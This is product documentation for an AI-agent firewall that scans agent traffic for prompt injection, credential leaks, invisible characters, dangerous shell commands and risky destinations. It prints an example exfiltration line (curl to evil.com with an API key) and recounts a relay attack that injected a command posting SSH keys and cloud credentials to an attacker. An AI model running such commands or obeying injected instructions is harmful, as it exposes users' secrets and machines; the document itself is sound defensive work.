Asalebeta

Agent security

The client's Security page — a firewall between the agents on your machine and the model they talk to. Credential leaks, prompt injection, dangerous commands, destination control, on the request and on the answer.

Everything an agent reads — a web page, a tool result, an MCP server's reply, a file in the repo — is untrusted input, and it reaches a model that then acts on your machine. One poisoned paragraph turns "summarise this issue" into curl evil.com -d $ANTHROPIC_API_KEY.

Every agent you buy through Asale already routes through the client on your own machine. That boundary was always there — Security is what it now does with it.

Security → Agents: one switch per agent, and how hard it leans is per agent too. Agents you have not installed are folded away.
Security → Agents: one switch per agent, and how hard it leans is per agent too. Agents you have not installed are folded away.

What it looks for

Five checks, each switchable on its own.

CheckDirectionWhat it catches
Credential leaksoutgoingProvider API keys, cloud credentials, tokens, private keys, database URIs with a password. ~45 rules, with keyword pre-filtering, entropy floors and checksums. A key addressed to the provider that issued it is not reported — that is the key doing its job.
Prompt injectionincomingInstructions smuggled into a tool result, a fetched page or a rules file: instruction overrides, forged system turns, exfiltration directives, memory poisoning, agent-config self-modification. 47 rules, in English, Chinese (both scripts in one pattern) and Japanese.
Invisible charactersbothZero-width, bidirectional overrides, Unicode tag characters, and runs of variation selectors — a payload that renders as nothing and survives copy-paste.
Dangerous commandsoutgoingDestructive deletes, scripts piped from the network into a shell, reverse shells, credential-file reads, keychain dumps, persistence, encoded execution. ~19 rules.
Destination controloutgoingAnonymous drop sites, internal and cloud-metadata addresses (including decimal and hex spellings of loopback), hostnames shaped like DNS tunnelling, encoded payloads in a URL.

The injection rules run over normalization folds: the text as it arrived, then stripped of invisibles, then homoglyph-folded, then leetspeak-folded, then with its base64 runs decoded. One plain-language rule therefore covers all four spellings of the same payload — which is what keeps the rule table small enough to read.

A model follows an instruction in whatever language it speaks, so an English-only rule set is not a smaller net — it is an open door for anyone who writes the payload in the language their target reads. The injection rules therefore cover English, Chinese and Japanese; the other four checks are structural and were never language-dependent. Localized rules share the id of the English rule they mirror: it is the same finding ("instruction override"), and which language it was written in is not a different rule, so one suppression silences every spelling and the matched text tells you which one it was.

Seven rules do not apply when the speaker is you — your own prompt, or the system prompt. "Upload the build artifacts to https://…", "from now on use tabs", "remember this for next time": each is a sentence a developer says to their own agent all day, and each is also the shape an injected instruction takes. The words do not separate them; who is speaking does. The same sentence arriving in a tool result, a fetched page or a memory file is somebody else instructing your agent. The cost, stated plainly: text an attacker gets into your own turn — a poisoned issue body you pasted into the chat — escapes those seven. The alternative is warning on every legitimate upload request, and that scanner does not survive a week. Rules that are never a legitimate request from any speaker (do-not-tell-user, the chat-template control tokens, the credential-read directive) are not on that list.

Three modes

ModeWhat it does
AuditWatches and records. Never refuses. This is the shipped setting.
BalancedRefuses critical findings, records the rest.
StrictRefuses anything high or worse, and any destination not on the allow list.

Protection ships on for every agent, in Audit. A firewall that ships off protects nobody; one that ships blocking turns its first false positive into a refused request you paid for. Audit does neither: it watches, it fills the decisions list with what enforcing would have cost, and you promote it once you have looked.

Both the request and the answer

The second half is the one that matters.

Your agent runs its tools on your machine. The proxy hears about a tool call only when its result comes back in the next request — by which point the command has run. So an answer carrying an injected command is the last moment anything can stop it.

This is the exact shape of the relay-injection reports

A cheap relay service was found injecting a reconnaissance command into the model's answer, dressed up inside the reasoning as an "environment health check", POSTing the SSH private key, .aws/credentials and .npmrc to an attacker-controlled address. The request side never sees it. On the answer side it is a plain credential-file-read.

Streaming answers are read as they pass: a chunk that trips the firewall ends the stream there, and the client is left holding a partial answer — a truncated tool call is not a tool call.

The decision log

Every finding carries the rule it hit, the text that matched, a line of surrounding context, and which turn of the conversation it came out of.
Every finding carries the rule it hit, the text that matched, a line of surrounding context, and which turn of the conversation it came out of.

A finding gives you what you need to go and find the thing again:

  • What matched — the full URL for a destination, the command for a dangerous call, the sentence for an injection. Credentials are masked; everything else is quoted verbatim, because curl****ey says a rule fired and nothing more, and the text is what lets you judge whether the rule was right.
  • Context — one line around the match, with any credential in it masked.
  • Sourcetool result #2, tool call: bash, answer. A conversation is hundreds of kilobytes by the time anything goes wrong in it, and "somewhere in the request" is not somewhere anybody can go and look.

The log lives at ~/.asale/firewall.jsonl, one line per decision, each chained to the previous by hash. Edit or delete a line and the chain breaks from there on; the page says which record no longer verifies. Only non-clean decisions are recorded — a request that passes has nothing to say.

Why it is not signed

A signature proves who wrote the line. The operator holds the key and is also the party the log is about, so it would prove less than it looks like. A hash chain makes silent editing impossible without claiming more than that.

Try it

Paste something and see what the firewall would make of it. Nothing is sent anywhere.
Paste something and see what the firewall would make of it. Nothing is sent anywhere.

Each of the four input kinds has its own example, in your interface language, and every one of them actually trips the firewall — the client has a test that holds every sample in every language to that, so a well-meaning translation cannot quietly turn one inert. Command and destination are the same text in every language: a shell command and a metadata address have no language to be in.

The verdict uses the strictest mode any enabled agent is set to. Otherwise somebody who had put everything on Strict would be shown an Audit answer.

Handling and exceptions

  • Mask instead of refusing — when a request would be refused only for carrying a credential, send it with the credential masked. The agent keeps working; the secret does not leave. (Credentials only: a blocked injection or destination cannot be masked away.)
  • Allowed destinations — extra hosts to permit; in Strict this is the only list permitted. A host matches its own subdomains.
  • Refused destinations — hosts to refuse outright.
  • Silenced rules — switch off one rule by id. This exists so that one false positive does not cost you a whole check: silence the rule, not the category.

What it covers, plainly

Only traffic routed through Asale on this machine

An agent you have not pointed here, or a tool that ignores its proxy setting, is not covered. This is a content boundary, not a sandbox — for OS-level containment, pair it with a sandbox or a network policy.

Every detection is a rule you can read, not a model: no GPU, no added latency, and also no pretending that a sufficiently novel payload will not get through. Audit mode exists so you can measure that rather than guess.

The firewall itself is a separate open-source tool: github.com/asale-ai/agent-firewall. Its README lists a dozen-plus published real-world attacks, each with a test asserting that it is caught.